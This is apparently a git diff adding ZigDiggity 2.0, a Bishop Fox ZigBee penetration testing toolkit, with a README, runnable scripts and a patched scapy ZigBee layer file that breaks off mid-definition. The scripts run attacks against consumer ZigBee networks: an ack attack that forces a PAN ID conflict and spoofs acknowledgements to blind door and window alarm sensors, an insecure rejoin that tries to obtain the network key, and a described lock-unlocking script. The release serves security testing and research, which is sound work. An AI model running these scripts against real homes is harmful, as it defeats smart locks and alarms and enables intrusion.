diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..d56c4db --- /dev/null +++ b/.gitignore @@ -0,0 +1,6 @@ +build/ +dist/ +*.egg-info/ +__pycache__ +venv +.vscode diff --git a/README.md b/README.md new file mode 100644 index 0000000..b41ef70 --- /dev/null +++ b/README.md @@ -0,0 +1,85 @@ +![ZigDiggity - Logo](images/ZigDiggity-2019-Logo_and_Example-1.jpg) + +# ZigDiggity Version 2 + +Introducing *ZigDiggity 2.0*, a ZigBee penetration testing framework created by Matt Gleason & Francis Brown of [Bishop Fox](https://www.bishopfox.com/ "Bishop Fox"). Special thanks to Caleb Marion! + +*ZigDiggity* version 2 is a major overhaul of the original package and aims to enable cybersecurity professionals, auditors, and developers to run complex interactions with ZigBee networks using a single device. + +## 2019 - Black Hat USA 2019 & DEF CON 27 - links, slides, and videos +* [Black Hat USA 2019 - ARSENAL LAB - ZigBee Hacking: Smarter Home Invasion with ZigDiggity - Aug 7-8, 2019](https://www.blackhat.com/us-19/arsenal/schedule/index.html#arsenal-lab---zigbee-hacking-smarter-home-invasion-with-zigdiggity-17151 "Black Hat USA 2019 - ARSENAL LAB - ZigBee Hacking: Smarter Home Invasion with ZigDiggity - Aug 7-8, 2019") +* https://www.defcon.org/html/defcon-27/dc-27-demolabs.html#ZigDiggity + * ![](images/ZigDiggity-Aug2019-DefCon27-DemoLab-1-Smaller.jpg) + +### Videos +* [YouTube - Zigbee Hacking: Smarter Home Invasion with ZigDiggity - 58sec DEMO - 20Aug2019](https://www.youtube.com/watch?v=9_0SoKsVklMQ "YouTube - Zigbee Hacking: Smarter Home Invasion with ZigDiggity - 58sec DEMO - 20Aug2019") + * Defeating Zigbee smart locks & home alarm sensors; demonstrating effective IoT product security evaluations using ZigDiggity 2.0 - the new open-source Zigbee pentest toolkit from Bishop Fox. + + + +### Slides +* https://www.slideshare.net/bishopfox/smarter-home-invasion-with-zigdiggity-165606623 +* https://www.bishopfox.com/files/slides/2019/Black_Hat_USA_2019-Zigbee_Hacking-Smarter_Home_Invasion_with_ZigDiggity-08Aug2019-Slides.pdf + +### ABSTRACT: +> Do you feel safe in your home with the security system armed? You may reconsider after watching a demo of our new hacking toolkit, ZigDiggity, where we target door & window sensors using an "ACK Attack". ZigDiggity will emerge as the weapon of choice for testing Zigbee-enabled systems, replacing all previous efforts. +> +> Zigbee continues to grow in popularity as a method for providing simple wireless communication between devices (i.e. low power/traffic, short distance), & can be found in a variety of consumer products that range from smart home automation to healthcare. Security concerns introduced by these systems are just as diverse and plentiful, underscoring a need for quality assessment tools. +> +> Unfortunately, existing Zigbee hacking solutions have fallen into disrepair, having barely been maintained, let alone improved upon. Left without a practical way to evaluate the security of Zigbee networks, we've created ZigDiggity, a new open-source pentest arsenal from Bishop Fox. +> +> Our DEMO-rich presentation showcases ZigDiggity's attack capabilities by pitting it against common Internet of Things (IoT) products that use Zigbee. Come experience the future of Zigbee hacking, in a talk that the New York Times will be hailing as "a veritable triumph of the human spirit." ... ya know, probably + + +## Installation + +Using a default install of Raspbian, perform the following steps: + +* Plug your Raspbee into your Raspberry Pi +* Enable serial using the `sudo raspbi-config` command + * Select "Advanced Options/Serial" + * Select *NO* to "Would you like a login shell to be accessible over serial?" + * Select *YES* to enabling serial + * Restart the Raspberry Pi +* Install GCFFlasher available [Here](https://www.dresden-elektronik.de/funktechnik/service/download/driver/?L=1) +* Flash the Raspbee's firmware + * `sudo GCFFlasher -f firmware/zigdiggity_raspbee.bin` + * `sudo GCFFlasher -r` +* Install the python requirements using `pip3 install -r requirements.txt` +* Patch scapy `sudo cp patch/zigbee.py /usr/local/lib/python3.5/dist-packages/scapy/layers/zigbee.py` +* Install wireshark on the device using `sudo apt-get install wireshark` + +### Hardware + +The current version of ZigDiggity is solely designed for use with the [Raspbee](https://www.dresden-elektronik.de/funktechnik/solutions/wireless-light-control/raspbee/?L=1) +* https://www.amazon.com/RaspBee-premium-ZigBee-Raspberry-Firmware/dp/B00E6300DO + * ![](images/RaspBee-image-2.jpg) +* Raspberry Pi 3 B+ + * https://www.amazon.com/CanaKit-Raspberry-Power-Supply-Listed/dp/B07BC6WH7V +* RasPad by SunFounder (Optional) - great portable Zigbee hacking solution, tablet to house the RaspPi3 & RaspBee radio: + * https://www.amazon.com/SunFounder-RasPad-Built-Touchscreen-Compatible/dp/B07JG53K2W/ + * ![ZigDiggity - RasPad - Photo](images/ZigDiggity-PortableRaspPiPad_w_Touchscreen-4a.jpg) + +## Usage + +Currently scripts are available in the root of the repository, they can all be run using Python3: + +```python3 listen.py -c 15``` + +When running with wireshark, root privileges may be required. + +### Scripts + +* `ack_attack.py` - Performs the acknowledge attack against a given network. +* `beacon.py` - Sends a single beacon and listens for a short time. Intended for finding which networks are near you. +* `find_locks.py` - Examines the network traffic on a channel to determine if device behavior looks like a lock. Displays which devices it thinks are locks. +* `insecure_rejoin.py` - Runs an insecure rejoin attempt on the target network. +* `listen.py` - Listens on a channel piping all output to wireshark for viewing. +* `scan.py` - Moves between channels listening and piping the data to wireshark for viewing. +* `unlock.py` - Attempts to unlock a target lock + +## Notes + +The patterns used by ZigDiggity version 2 are designed to be as reliable as possible. The tool is still in fairly early stages of development, so expect to see improvements over time. diff --git a/ack_attack.py b/ack_attack.py new file mode 100755 index 0000000..53eaade --- /dev/null +++ b/ack_attack.py @@ -0,0 +1,71 @@ +#!/usr/bin/env python +import os +import sys +sys.path.append(os.getcwd() + "/zigdiggity") + +import time +import signal +import argparse +from scapy.layers.dot15d4 import * +from scapy.layers.zigbee import * + +from zigdiggity.radios.raspbee_radio import RaspbeeRadio +from zigdiggity.radios.observer_radio import ObserverRadio +from zigdiggity.observers.wireshark_observer import WiresharkObserver +import zigdiggity.crypto.utils as crypto_utils +from zigdiggity.misc.actions import * +from zigdiggity.packets.utils import get_pan_id, get_source +from zigdiggity.interface.components.logo import Logo + +parser = argparse.ArgumentParser(description='Perform an acknowledge attack against the target network') +parser.add_argument('-c','--channel',action='store',type=int,dest='channel',required=True,help='Channel to use') +parser.add_argument('-d','--device',action='store',dest='device',default='/dev/ttyS0',help='Zigbee Radio device') +parser.add_argument('-e','--epan',action='store',type=lambda s: int(s.replace(':',''),16),dest='epan',required=True,help='The Extended PAN ID of the network to target') +parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='The Extended PAN ID of the network to target') +args = parser.parse_args() + +logo = Logo() +logo.print() + +hardware_radio = RaspbeeRadio(args.device) +radio = ObserverRadio(hardware_radio) + +if args.wireshark: + wireshark = WiresharkObserver() + radio.add_observer(wireshark) + +def handle_interrupt(signal, frame): + global interrupted + print_notify("Exiting the current script") + interrupted = True + +CHANNEL = args.channel +TARGET_EPAN=args.epan + +radio.set_channel(CHANNEL) + +panid = get_pan_by_extended_pan(radio, TARGET_EPAN) +if panid is None: + print_error("Could not find the PAN ID corresponding to the target network.") + exit(1) + +print_info("Performing a PAN ID conflict against the network") + +for attempts in range(10): + pan_conflict_by_panid(radio, panid) + time.sleep(2) + next_panid = get_pan_by_extended_pan(radio, TARGET_EPAN) + if panid != next_panid: + break + if attempts == 9: + print_error("All 10 attempts to perform a PAN ID conflict failed.") + +signal.signal(signal.SIGINT, handle_interrupt) +interrupted = False + +print_notify("Acking to all the traffic to PAN 0x%04x" % panid) +print_info("Use ctrl+c to stop the attack") +while not interrupted: + radio.receive_and_ack(panid=panid, addr=0x0000) + +radio.off() diff --git a/beacon.py b/beacon.py new file mode 100755 index 0000000..26847e6 --- /dev/null +++ b/beacon.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python +import os +import sys +sys.path.append(os.getcwd() + "/zigdiggity") + +import time +import signal +import random +import argparse +import hexdump +from scapy.layers.dot15d4 import * +from scapy.layers.zigbee import * + +from zigdiggity.radios.raspbee_radio import RaspbeeRadio +from zigdiggity.radios.observer_radio import ObserverRadio +import zigdiggity.observers.utils as observer_utils +from zigdiggity.packets.dot15d4 import beacon_request +from zigdiggity.interface.console import print_notify +from zigdiggity.misc.timer import Timer +from zigdiggity.interface.components.logo import Logo + +parser = argparse.ArgumentParser(description='Send a beacon request') +parser.add_argument('-c','--channel',action='store',type=int,dest='channel',required=True,help='Channel to use') +parser.add_argument('-d','--device',action='store',dest='device',default='/dev/ttyS0',help='Zigbee Radio device') +parser.add_argument('-s','--stdout',action='store_true',dest='stdout',required=False,help='dump traffic to stdout') +parser.add_argument('-t','--timeout',action='store',type=int,dest='timeout',default=5,help='response listen timeout') +parser.add_argument('-v','--verbose',action='store_true',dest='verbose',required=False,help='verbose logging') +parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='See all traffic in wireshark') +args = parser.parse_args() + +logo = Logo() +logo.print() + +hardware_radio = RaspbeeRadio(args.device) +radio = ObserverRadio(hardware_radio) + +if args.wireshark: + observer_utils.register_wireshark(radio) + if args.verbose: + print_notify("Registered Wireshark Observer") +if args.stdout: + observer_utils.register_stdout(radio) + if args.verbose: + print_notify("Registered Stdout Observer") + +radio.set_channel(args.channel) +radio.receive() + +if args.verbose: + print_notify("Sending the beacon request to channel %d" % radio.get_channel()) + +try: + timer = Timer(args.timeout) + print(type(beacon_request()), len(beacon_request())) + hexdump.hexdump(bytes(beacon_request())) + #radio.send_and_retry(beacon_request(random.randint(0,255))) + radio.send(beacon_request(random.randint(0,255))) + while not timer.has_expired(): + radio.receive() +finally: + radio.off() diff --git a/find_locks.py b/find_locks.py new file mode 100755 index 0000000..bf8dfea --- /dev/null +++ b/find_locks.py @@ -0,0 +1,35 @@ +#!/usr/bin/env python +import os +import sys +sys.path.append(os.getcwd() + "/zigdiggity") + +import time +import argparse +from scapy.layers.dot15d4 import * +from scapy.layers.zigbee import * + +from zigdiggity.radios.raspbee_radio import RaspbeeRadio +from zigdiggity.radios.observer_radio import ObserverRadio +from zigdiggity.observers.wireshark_observer import WiresharkObserver +from zigdiggity.interface.console import print_notify +import zigdiggity.crypto.utils as crypto_utils +from zigdiggity.misc.actions import * + +parser = argparse.ArgumentParser(description='Attempt to find locks on a channel') +parser.add_argument('-c','--channel',action='store',type=int,dest='channel',required=True,help='Channel to use') +parser.add_argument('-d','--device',action='store',dest='device',default='/dev/ttyS0',help='Zigbee Radio device') +parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='See all traffic in wireshark') +args = parser.parse_args() + +hardware_radio = RaspbeeRadio(args.device) +radio = ObserverRadio(hardware_radio) + +if args.wireshark: + wireshark = WiresharkObserver() + radio.add_observer(wireshark) + +radio.set_channel(args.channel) +print_notify("Current on channel %d" % args.channel) +find_locks(radio) + +radio.off() diff --git a/firmware/zigdiggity_raspbee.bin b/firmware/zigdiggity_raspbee.bin new file mode 100755 index 0000000..575f4f7 Binary files /dev/null and b/firmware/zigdiggity_raspbee.bin differ diff --git a/images/RaspBee-image-2.jpg b/images/RaspBee-image-2.jpg new file mode 100644 index 0000000..91b9ec4 Binary files /dev/null and b/images/RaspBee-image-2.jpg differ diff --git a/images/ZigDiggity-2019-Logo_and_Example-1.jpg b/images/ZigDiggity-2019-Logo_and_Example-1.jpg new file mode 100644 index 0000000..57b1c8f Binary files /dev/null and b/images/ZigDiggity-2019-Logo_and_Example-1.jpg differ diff --git a/images/ZigDiggity-Aug2019-DefCon27-DemoLab-1-Smaller.jpg b/images/ZigDiggity-Aug2019-DefCon27-DemoLab-1-Smaller.jpg new file mode 100644 index 0000000..4d73cee Binary files /dev/null and b/images/ZigDiggity-Aug2019-DefCon27-DemoLab-1-Smaller.jpg differ diff --git a/images/ZigDiggity-PortableRaspPiPad_w_Touchscreen-4a.jpg b/images/ZigDiggity-PortableRaspPiPad_w_Touchscreen-4a.jpg new file mode 100644 index 0000000..c9fdefd Binary files /dev/null and b/images/ZigDiggity-PortableRaspPiPad_w_Touchscreen-4a.jpg differ diff --git a/insecure_rejoin.py b/insecure_rejoin.py new file mode 100755 index 0000000..8665544 --- /dev/null +++ b/insecure_rejoin.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python +import os +import sys +sys.path.append(os.getcwd() + "/zigdiggity") + +import time +import argparse +from scapy.layers.dot15d4 import * +from scapy.layers.zigbee import * + +from zigdiggity.radios.raspbee_radio import RaspbeeRadio +from zigdiggity.radios.observer_radio import ObserverRadio +from zigdiggity.observers.wireshark_observer import WiresharkObserver +import zigdiggity.crypto.utils as crypto_utils +from zigdiggity.misc.actions import * +from zigdiggity.interface.components.logo import Logo + +parser = argparse.ArgumentParser(description='Attempt to perform an insecure network join') +parser.add_argument('-a','--attempts',action='store',type=int,dest='attempts',default=3,help='Number of rejoin attempts') +parser.add_argument('-c','--channel',action='store',type=int,dest='channel',required=True,help='Channel to use') +parser.add_argument('-d','--device',action='store',dest='device',default='/dev/ttyS0',help='Zigbee Radio device') +parser.add_argument('-e','--epan',action='store',type=lambda s: int(s.replace(':',''),16),dest='epan',required=True,help='The Extended PAN ID of the network to target') +parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='See all traffic in wireshark') +args = parser.parse_args() + +logo = Logo() +logo.print() + +hardware_radio = RaspbeeRadio(args.device) +radio = ObserverRadio(hardware_radio) + +if args.wireshark: + wireshark = WiresharkObserver() + radio.add_observer(wireshark) + +TARGET_EPAN = args.epan +CHANNELS = [args.channel] + +start_time = time.time() +for channel in CHANNELS: + + radio.set_channel(channel) + + panid = get_pan_by_extended_pan(radio, TARGET_EPAN) + if panid is None: + print_error("Could not find the PAN ID corresponding to the target network.") + exit(1) + + for attempt in range(args.attempts): + key = insecure_rejoin_by_panid(radio, panid, extended_src=0x01020304050607) + if key is not None: + break + +radio.off() +print_notify("Total elapsed time: %f seconds" % (time.time()-start_time)) diff --git a/listen.py b/listen.py new file mode 100755 index 0000000..a153520 --- /dev/null +++ b/listen.py @@ -0,0 +1,52 @@ +#!/usr/bin/env python +import os +import sys +sys.path.append(os.getcwd() + "/zigdiggity") + +import signal +import time +import argparse +from zigdiggity.radios.raspbee_radio import RaspbeeRadio +from zigdiggity.radios.observer_radio import ObserverRadio +import zigdiggity.observers.utils as observer_utils +from scapy.layers.dot15d4 import * +from scapy.layers.zigbee import * +from zigdiggity.interface.console import print_notify +from zigdiggity.interface.components.logo import Logo + +def handle_interrupt(signal, frame): + global interrupted + print_notify("Exiting the current script") + interrupted = True + +parser = argparse.ArgumentParser(description='Listen to a Zigbee traffic on a channel') +parser.add_argument('-c', '--channel', action='store',type=int, required=True,help='Channel to use') +parser.add_argument('-d','--device',action='store',dest='device',default='/dev/ttyS0',help='Zigbee Radio device') +parser.add_argument('-s','--stdout',action='store_true',dest='stdout',required=False,help='dump traffic to stdout') +parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='See all traffic in wireshark') +args = parser.parse_args() + +logo = Logo() +logo.print() + +hardware_radio = RaspbeeRadio(args.device) +radio = ObserverRadio(hardware_radio) + +if args.wireshark: + observer_utils.register_wireshark(radio) + print_notify("Registered Wireshark Observer") +if args.stdout: + observer_utils.register_stdout(radio) + print_notify("Registered Stdout Observer") + +radio.set_channel(args.channel) + +print_notify("Listening to channel %d" % radio.get_channel()) + +signal.signal(signal.SIGINT, handle_interrupt) +interrupted = False + +while not interrupted: + result = radio.receive() + +radio.off() diff --git a/patch/zigbee.py b/patch/zigbee.py new file mode 100644 index 0000000..4db2a5d --- /dev/null +++ b/patch/zigbee.py @@ -0,0 +1,1007 @@ +# This program is published under a GPLv2 license +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Ryan Speers 2011-2012 +# Copyright (C) Roger Meyer : 2012-03-10 Added frames +# Copyright (C) Gabriel Potter : 2018 +# Intern at INRIA Grand Nancy Est +# This program is published under a GPLv2 license + +""" +ZigBee bindings for IEEE 802.15.4. +""" + +import struct + +from scapy.compat import orb +from scapy.packet import bind_layers, bind_bottom_up, Packet +from scapy.fields import BitField, ByteField, XLEIntField, ConditionalField, \ + ByteEnumField, EnumField, BitEnumField, FieldListField, FlagsField, \ + IntField, PacketListField, ShortField, StrField, StrFixedLenField, \ + StrLenField, XLEShortField, XStrField + +from scapy.layers.dot15d4 import dot15d4AddressField, Dot15d4Beacon, Dot15d4, \ + Dot15d4FCS +from scapy.layers.inet import UDP +from scapy.layers.ntp import TimeStampField + +# ZigBee Cluster Library Identifiers, Table 2.2 ZCL +_zcl_cluster_identifier = { + # Functional Domain: General + 0x0000: "basic", + 0x0001: "power_configuration", + 0x0002: "device_temperature_configuration", + 0x0003: "identify", + 0x0004: "groups", + 0x0005: "scenes", + 0x0006: "on_off", + 0x0007: "on_off_switch_configuration", + 0x0008: "level_control", + 0x0009: "alarms", + 0x000a: "time", + 0x000b: "rssi_location", + 0x000c: "analog_input", + 0x000d: "analog_output", + 0x000e: "analog_value", + 0x000f: "binary_input", + 0x0010: "binary_output", + 0x0011: "binary_value", + 0x0012: "multistate_input", + 0x0013: "multistate_output", + 0x0014: "multistate_value", + 0x0015: "commissioning", + # 0x0016 - 0x00ff reserved + # Functional Domain: Closures + 0x0100: "shade_configuration", + # 0x0101 - 0x01ff reserved + # Functional Domain: HVAC + 0x0200: "pump_configuration_and_control", + 0x0201: "thermostat", + 0x0202: "fan_control", + 0x0203: "dehumidification_control", + 0x0204: "thermostat_user_interface_configuration", + # 0x0205 - 0x02ff reserved + # Functional Domain: Lighting + 0x0300: "color_control", + 0x0301: "ballast_configuration", + # Functional Domain: Measurement and sensing + 0x0400: "illuminance_measurement", + 0x0401: "illuminance_level_sensing", + 0x0402: "temperature_measurement", + 0x0403: "pressure_measurement", + 0x0404: "flow_measurement", + 0x0405: "relative_humidity_measurement", + 0x0406: "occupancy_sensing", + # Functional Domain: Security and safethy + 0x0500: "ias_zone", + 0x0501: "ias_ace", + 0x0502: "ias_wd", + # Functional Domain: Protocol Interfaces + 0x0600: "generic_tunnel", + 0x0601: "bacnet_protocol_tunnel", + 0x0602: "analog_input_regular", + 0x0603: "analog_input_extended", + 0x0604: "analog_output_regular", + 0x0605: "analog_output_extended", + 0x0606: "analog_value_regular", + 0x0607: "analog_value_extended", + 0x0608: "binary_input_regular", + 0x0609: "binary_input_extended", + 0x060a: "binary_output_regular", + 0x060b: "binary_output_extended", + 0x060c: "binary_value_regular", + 0x060d: "binary_value_extended", + 0x060e: "multistate_input_regular", + 0x060f: "multistate_input_extended", + 0x0610: "multistate_output_regular", + 0x0611: "multistate_output_extended", + 0x0612: "multistate_value_regular", + 0x0613: "multistate_value", + # Smart Energy Profile Clusters + 0x0700: "price", + 0x0701: "demand_response_and_load_control", + 0x0702: "metering", + 0x0703: "messaging", + 0x0704: "smart_energy_tunneling", + 0x0705: "prepayment", + # Functional Domain: General + # Key Establishment + 0x0800: "key_establishment", +} + +# ZigBee stack profiles +_zcl_profile_identifier = { + 0x0000: "ZigBee_Stack_Profile_1", + 0x0101: "IPM_Industrial_Plant_Monitoring", + 0x0104: "HA_Home_Automation", + 0x0105: "CBA_Commercial_Building_Automation", + 0x0107: "TA_Telecom_Applications", + 0x0108: "HC_Health_Care", + 0x0109: "SE_Smart_Energy_Profile", +} + +# ZigBee Cluster Library, Table 2.8 ZCL Command Frames +_zcl_command_frames = { + 0x00: "read_attributes", + 0x01: "read_attributes_response", + 0x02: "write_attributes_response", + 0x03: "write_attributes_undivided", + 0x04: "write_attributes_response", + 0x05: "write_attributes_no_response", + 0x06: "configure_reporting", + 0x07: "configure_reporting_response", + 0x08: "read_reporting_configuration", + 0x09: "read_reporting_configuration_response", + 0x0a: "report_attributes", + 0x0b: "default_response", + 0x0c: "discover_attributes", + 0x0d: "discover_attributes_response", + # 0x0e - 0xff Reserved +} + +# ZigBee Cluster Library, Table 2.16 Enumerated Status Values +_zcl_enumerated_status_values = { + 0x00: "SUCCESS", + 0x02: "FAILURE", + # 0x02 - 0x7f Reserved + 0x80: "MALFORMED_COMMAND", + 0x81: "UNSUP_CLUSTER_COMMAND", + 0x82: "UNSUP_GENERAL_COMMAND", + 0x83: "UNSUP_MANUF_CLUSTER_COMMAND", + 0x84: "UNSUP_MANUF_GENERAL_COMMAND", + 0x85: "INVALID_FIELD", + 0x86: "UNSUPPORTED_ATTRIBUTE", + 0x87: "INVALID_VALUE", + 0x88: "READ_ONLY", + 0x89: "INSUFFICIENT_SPACE", + 0x8a: "DUPLICATE_EXISTS", + 0x8b: "NOT_FOUND", + 0x8c: "UNREPORTABLE_ATTRIBUTE", + 0x8d: "INVALID_DATA_TYPE", + # 0x8e - 0xbf Reserved + 0xc0: "HARDWARE_FAILURE", + 0xc1: "SOFTWARE_FAILURE", + 0xc2: "CALIBRATION_ERROR", + # 0xc3 - 0xff Reserved +} + +# ZigBee Cluster Library, Table 2.15 Data Types +_zcl_attribute_data_types = { + 0x00: "no_data", + # General data + 0x08: "8-bit_data", + 0x09: "16-bit_data", + 0x0a: "24-bit_data", + 0x0b: "32-bit_data", + 0x0c: "40-bit_data", + 0x0d: "48-bit_data", + 0x0e: "56-bit_data", + 0x0f: "64-bit_data", + # Logical + 0x10: "boolean", + # Bitmap + 0x18: "8-bit_bitmap", + 0x19: "16-bit_bitmap", + 0x1a: "24-bit_bitmap", + 0x1b: "32-bit_bitmap", + 0x1c: "40-bit_bitmap", + 0x1d: "48-bit_bitmap", + 0x1e: "56-bit_bitmap", + 0x1f: "64-bit_bitmap", + # Unsigned integer + 0x20: "Unsigned_8-bit_integer", + 0x21: "Unsigned_16-bit_integer", + 0x22: "Unsigned_24-bit_integer", + 0x23: "Unsigned_32-bit_integer", + 0x24: "Unsigned_40-bit_integer", + 0x25: "Unsigned_48-bit_integer", + 0x26: "Unsigned_56-bit_integer", + 0x27: "Unsigned_64-bit_integer", + # Signed integer + 0x28: "Signed_8-bit_integer", + 0x29: "Signed_16-bit_integer", + 0x2a: "Signed_24-bit_integer", + 0x2b: "Signed_32-bit_integer", + 0x2c: "Signed_40-bit_integer", + 0x2d: "Signed_48-bit_integer", + 0x2e: "Signed_56-bit_integer", + 0x2f: "Signed_64-bit_integer", + # Enumeration + 0x30: "8-bit_enumeration", + 0x31: "16-bit_enumeration", + # Floating point + 0x38: "semi_precision", + 0x39: "single_precision", + 0x3a: "double_precision", + # String + 0x41: "octet-string", + 0x42: "character_string", + 0x43: "long_octet_string", + 0x44: "long_character_string", + # Ordered sequence + 0x48: "array", + 0x4c: "structure", + # Collection + 0x50: "set", + 0x51: "bag", + # Time + 0xe0: "time_of_day", + 0xe1: "date", + 0xe2: "utc_time", + # Identifier + 0xe8: "cluster_id", + 0xe9: "attribute_id", + 0xea: "bacnet_oid", + # Miscellaneous + 0xf0: "ieee_address", + 0xf1: "128-bit_security_key", + # Unknown + 0xff: "unknown", +} + + +# ZigBee # + +class ZigbeeNWK(Packet): + name = "Zigbee Network Layer" + fields_desc = [ + BitField("discover_route", 0, 2), + BitField("proto_version", 2, 4), + BitEnumField("frametype", 0, 2, {0: 'data', 1: 'command'}), + FlagsField("flags", 0, 8, ['multicast', 'security', 'source_route', 'extended_dst', 'extended_src', 'reserved1', 'reserved2', 'reserved3']), # noqa: E501 + XLEShortField("destination", 0), + XLEShortField("source", 0), + ByteField("radius", 0), + ByteField("seqnum", 1), + + # ConditionalField(XLongField("ext_dst", 0), lambda pkt:pkt.flags & 8), + + ConditionalField(dot15d4AddressField("ext_dst", 0, adjust=lambda pkt, x: 8), lambda pkt:pkt.flags & 8), # noqa: E501 + ConditionalField(dot15d4AddressField("ext_src", 0, adjust=lambda pkt, x: 8), lambda pkt:pkt.flags & 16), # noqa: E501 + + ConditionalField(ByteField("relay_count", 1), lambda pkt:pkt.flags & 0x04), # noqa: E501 + ConditionalField(ByteField("relay_index", 0), lambda pkt:pkt.flags & 0x04), # noqa: E501 + ConditionalField(FieldListField("relays", [], XLEShortField("", 0x0000), count_from=lambda pkt:pkt.relay_count), lambda pkt:pkt.flags & 0x04), # noqa: E501 + ] + + def guess_payload_class(self, payload): + if self.flags & 0x02: + return ZigbeeSecurityHeader + elif self.frametype == 0: + return ZigbeeAppDataPayload + elif self.frametype == 1: + return ZigbeeNWKCommandPayload + else: + return Packet.guess_payload_class(self, payload) + + +class LinkStatusEntry(Packet): + name = "ZigBee Link Status Entry" + fields_desc = [ + # Neighbor network address (2 octets) + XLEShortField("neighbor_network_address", 0x0000), + # Link status (1 octet) + BitField("reserved1", 0, 1), + BitField("outgoing_cost", 0, 3), + BitField("reserved2", 0, 1), + BitField("incoming_cost", 0, 3), + ] + + +class ZigbeeNWKCommandPayload(Packet): + name = "Zigbee Network Layer Command Payload" + fields_desc = [ + ByteEnumField("cmd_identifier", 1, { + 1: "route request", + 2: "route reply", + 3: "network status", + 4: "leave", + 5: "route record", + 6: "rejoin request", + 7: "rejoin response", + 8: "link status", + 9: "network report", + 10: "network update" + # 0x0b - 0xff reserved + }), + + # - Route Request Command - # + # Command options (1 octet) + ConditionalField(BitField("reserved", 0, 1), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501 + ConditionalField(BitField("multicast", 0, 1), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501 + ConditionalField(BitField("dest_addr_bit", 0, 1), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501 + ConditionalField( + BitEnumField("many_to_one", 0, 2, { + 0: "not_m2one", 1: "m2one_support_rrt", 2: "m2one_no_support_rrt", 3: "reserved"} # noqa: E501 + ), lambda pkt: pkt.cmd_identifier == 1), + ConditionalField(BitField("reserved", 0, 3), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501 + # Route request identifier (1 octet) + ConditionalField(ByteField("route_request_identifier", 0), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501 + # Destination address (2 octets) + ConditionalField(XLEShortField("destination_address", 0x0000), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501 + # Path cost (1 octet) + ConditionalField(ByteField("path_cost", 0), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501 + # Destination IEEE Address (0/8 octets), only present when dest_addr_bit has a value of 1 # noqa: E501 + ConditionalField(dot15d4AddressField("ext_dst", 0, adjust=lambda pkt, x: 8), # noqa: E501 + lambda pkt: (pkt.cmd_identifier == 1 and pkt.dest_addr_bit == 1)), # noqa: E501 + + # - Route Reply Command - # + # Command options (1 octet) + ConditionalField(BitField("reserved", 0, 1), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 + ConditionalField(BitField("multicast", 0, 1), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 + ConditionalField(BitField("responder_addr_bit", 0, 1), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 + ConditionalField(BitField("originator_addr_bit", 0, 1), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 + ConditionalField(BitField("reserved", 0, 4), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 + # Route request identifier (1 octet) + ConditionalField(ByteField("route_request_identifier", 0), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 + # Originator address (2 octets) + ConditionalField(XLEShortField("originator_address", 0x0000), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 + # Responder address (2 octets) + ConditionalField(XLEShortField("responder_address", 0x0000), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 + # Path cost (1 octet) + ConditionalField(ByteField("path_cost", 0), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 + # Originator IEEE address (0/8 octets) + ConditionalField(dot15d4AddressField("originator_addr", 0, adjust=lambda pkt, x: 8), # noqa: E501 + lambda pkt: (pkt.cmd_identifier == 2 and pkt.originator_addr_bit == 1)), # noqa: E501 + # Responder IEEE address (0/8 octets) + ConditionalField(dot15d4AddressField("responder_addr", 0, adjust=lambda pkt, x: 8), # noqa: E501 + lambda pkt: (pkt.cmd_identifier == 2 and pkt.responder_addr_bit == 1)), # noqa: E501 + + # - Network Status Command - # + # Status code (1 octet) + ConditionalField(ByteEnumField("status_code", 0, { + 0x00: "No route available", + 0x01: "Tree link failure", + 0x02: "Non-tree link failure", + 0x03: "Low battery level", + 0x04: "No routing capacity", + 0x05: "No indirect capacity", + 0x06: "Indirect transaction expiry", + 0x07: "Target device unavailable", + 0x08: "Target address unallocated", + 0x09: "Parent link failure", + 0x0a: "Validate route", + 0x0b: "Source route failure", + 0x0c: "Many-to-one route failure", + 0x0d: "Address conflict", + 0x0e: "Verify addresses", + 0x0f: "PAN identifier update", + 0x10: "Network address update", + 0x11: "Bad frame counter", + 0x12: "Bad key sequence number", + # 0x13 - 0xff Reserved + }), lambda pkt: pkt.cmd_identifier == 3), + # Destination address (2 octets) + ConditionalField(XLEShortField("destination_address", 0x0000), lambda pkt: pkt.cmd_identifier == 3), # noqa: E501 + + # - Leave Command - # + # Command options (1 octet) + # Bit 7: Remove children + ConditionalField(BitField("remove_children", 0, 1), lambda pkt: pkt.cmd_identifier == 4), # noqa: E501 + # Bit 6: Request + ConditionalField(BitField("request", 0, 1), lambda pkt: pkt.cmd_identifier == 4), # noqa: E501 + # Bit 5: Rejoin + ConditionalField(BitField("rejoin", 0, 1), lambda pkt: pkt.cmd_identifier == 4), # noqa: E501 + # Bit 0 - 4: Reserved + ConditionalField(BitField("reserved", 0, 5), lambda pkt: pkt.cmd_identifier == 4), # noqa: E501 + + # - Route Record Command - # + # Relay count (1 octet) + ConditionalField(ByteField("rr_relay_count", 0), lambda pkt: pkt.cmd_identifier == 5), # noqa: E501 + # Relay list (variable in length) + ConditionalField( + FieldListField("rr_relay_list", [], XLEShortField("", 0x0000), count_from=lambda pkt:pkt.rr_relay_count), # noqa: E501 + lambda pkt:pkt.cmd_identifier == 5), + + # - Rejoin Request Command - # + # Capability Information (1 octet) + ConditionalField(BitField("allocate_address", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Allocate Address # noqa: E501 + ConditionalField(BitField("security_capability", 0, 1), lambda 